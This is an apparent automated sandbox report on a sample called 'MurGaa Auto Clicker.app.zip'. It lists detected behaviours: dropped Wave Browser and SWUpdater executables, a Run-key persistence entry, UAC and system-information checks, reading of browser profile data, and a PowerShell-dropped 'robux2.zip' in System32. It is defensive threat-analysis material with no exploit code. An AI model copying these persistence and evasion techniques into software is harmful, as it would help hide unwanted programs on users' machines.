Malware Analysis Report

2025-03-15 04:01

Sample ID 240826-ggdplszbql
Target MurGaa Auto Clicker.app.zip
SHA256 eee5324309fbd237b7e1e00fc1b3b60f03fa43bb25d3a4ee5c4f45efe68c6e32
Tags
defense_evasion discovery evasion execution motw persistence phishing privilege_escalation spyware stealer trojan
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

eee5324309fbd237b7e1e00fc1b3b60f03fa43bb25d3a4ee5c4f45efe68c6e32

Threat Level: Likely malicious

The file MurGaa Auto Clicker.app.zip was found to be: Likely malicious.

Malicious Activity Summary

defense_evasion discovery evasion execution motw persistence phishing privilege_escalation spyware stealer trojan

Downloads MZ/PE file

Command and Scripting Interpreter: PowerShell

Blocklisted process makes network request

Event Triggered Execution: Component Object Model Hijacking

Reads user/profile data of web browsers

Loads dropped DLL

Executes dropped EXE

Enumerates connected drives

Mark of the Web detected: This indicates that the page was originally saved or cloned.

Adds Run key to start application

Checks whether UAC is enabled

Checks installed software on the system

Drops file in System32 directory

Checks system information in the registry

Subvert Trust Controls: Mark-of-the-Web Bypass

Drops file in Windows directory

Drops file in Program Files directory

System Network Configuration Discovery: Internet Connection Discovery

Enumerates physical storage devices

Browser Information Discovery

System Location Discovery: System Language Discovery

Suspicious behavior: EnumeratesProcesses

Suspicious use of FindShellTrayWindow

Checks processor information in registry

Modifies registry class

NTFS ADS

Suspicious behavior: AddClipboardFormatListener

Suspicious behavior: GetForegroundWindowSpam

Enumerates system info in registry

Suspicious use of SetWindowsHookEx

Delays execution with timeout.exe

Suspicious use of AdjustPrivilegeToken

Suspicious use of SendNotifyMessage

Suspicious use of WriteProcessMemory

Uses Task Scheduler COM API

Modifies data under HKEY_USERS

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-26 05:46

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-26 05:46

Reported

2024-08-26 05:56

Platform

win11-20240802-en

Max time kernel

605s

Max time network

607s

Command Line

C:\Windows\Explorer.exe /idlist,,"C:\Users\Admin\AppData\Local\Temp\MurGaa Auto Clicker.app.zip"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Event Triggered Execution: Component Object Model Hijacking

persistence privilege_escalation

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\Downloads\Wave Browser.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Wave\SWUpdaterSetup.exe N/A
N/A N/A C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\SWUpdater.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\SWUpdater\Install\{82210FC4-5C7E-4BA7-A388-EEB3E7EFD776}\WaveInstaller-v1.5.18.2.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\nsg5F5D.tmp\setup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\nsg5F5D.tmp\setup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\nsg5F5D.tmp\setup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\nsg5F5D.tmp\setup.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\SWUpdater.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A

Reads user/profile data of web browsers

spyware stealer

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000\Software\Microsoft\Windows\CurrentVersion\Run\Wavesor SWUpdater = "\"C:\\Users\\Admin\\Wavesor Software\\SWUpdater\\1.3.135.0\\SWUpdaterCore.exe\"" C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\SWUpdater.exe N/A

Checks installed software on the system

discovery

Checks whether UAC is enabled

evasion trojan
Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\SWUpdater.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\D: C:\Users\Admin\AppData\Local\Temp\7zSCC31C31B\setup.exe N/A
File opened (read-only) \??\F: C:\Users\Admin\AppData\Local\Temp\7zSCC31C31B\setup.exe N/A

Mark of the Web detected: This indicates that the page was originally saved or cloned.

phishing motw
Description Indicator Process Target
N/A https://storage.googleapis.com/script.aniview.com/ssync/62f53b2c7850d0786f227f64/ssync.html N/A N/A

Checks system information in the registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File created C:\Windows\system32\robux2.zip C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\system32\robux2.zip C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\SWUpdater.exe C:\Users\Admin\AppData\Local\Temp\Wave\SWUpdaterSetup.exe N/A
File created C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\swupdater.dll C:\Users\Admin\AppData\Local\Temp\Wave\SWUpdaterSetup.exe N/A
File created C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\SWUpdaterBroker.exe C:\Users\Admin\AppData\Local\Temp\Wave\SWUpdaterSetup.exe N/A
File created C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\SWUpdaterCore.exe C:\Users\Admin\AppData\Local\Temp\Wave\SWUpdaterSetup.exe N/A
File opened for modification C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\SWUpdaterSetup.exe C:\Users\Admin\AppData\Local\Temp\Wave\SWUpdaterSetup.exe N/A
File created C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\psmachine.dll C:\Users\Admin\AppData\Local\Temp\Wave\SWUpdaterSetup.exe N/A
File opened for modification C:\Program Files (x86)\Wavesor\Temp\GUT1D72.tmp C:\Users\Admin\AppData\Local\Temp\Wave\SWUpdaterSetup.exe N/A
File created C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\SWUpdaterOnDemand.exe C:\Users\Admin\AppData\Local\Temp\Wave\SWUpdaterSetup.exe N/A
File created C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\SWUpdaterComRegisterShell64.exe C:\Users\Admin\AppData\Local\Temp\Wave\SWUpdaterSetup.exe N/A
File created C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\swupdaterres_en.dll C:\Users\Admin\AppData\Local\Temp\Wave\SWUpdaterSetup.exe N/A
File created C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\psmachine_64.dll C:\Users\Admin\AppData\Local\Temp\Wave\SWUpdaterSetup.exe N/A
File created C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\psuser.dll C:\Users\Admin\AppData\Local\Temp\Wave\SWUpdaterSetup.exe N/A
File created C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\psuser_64.dll C:\Users\Admin\AppData\Local\Temp\Wave\SWUpdaterSetup.exe N/A
File created C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\SWUpdaterSetup.exe C:\Users\Admin\AppData\Local\Temp\Wave\SWUpdaterSetup.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\MX C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\KI C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\GN C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\AZ C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_651299115\_metadata\verified_contents.json C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_1815988132\hyph-ru.hyb C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_1815988132\_metadata\verified_contents.json C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_1093822576\LICENSE.txt C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_406834371\cr_en-us_500000_index.bin C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\SE C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\MR C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\CU C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\CN C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_1815988132\hyph-sv.hyb C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_1815988132\hyph-lt.hyb C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_1093822576\_metadata\verified_contents.json C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\BD C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\AL C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\AD C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_1815988132\hyph-cy.hyb C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\RE C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\GB C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\MZ C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\BQ C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\manifest.fingerprint C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_1815988132\hyph-ka.hyb C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_1815988132\hyph-hr.hyb C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\UG C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\LV C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\LB C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\WF C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\MK C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\MD C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_574334522\_metadata\verified_contents.json C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\NE C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\MH C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\LI C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\KR C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_1815988132\hyph-bn.hyb C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_622463324\ranked_dicts C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_406834371\manifest.fingerprint C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\KN C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\JM C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_361160231\manifest.json C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\CR C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_651299115\manifest.json C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_1815988132\hyph-gu.hyb C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_1815988132\hyph-et.hyb C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_1093822576\Filtering Rules C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\KE C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\EE C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\AR C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
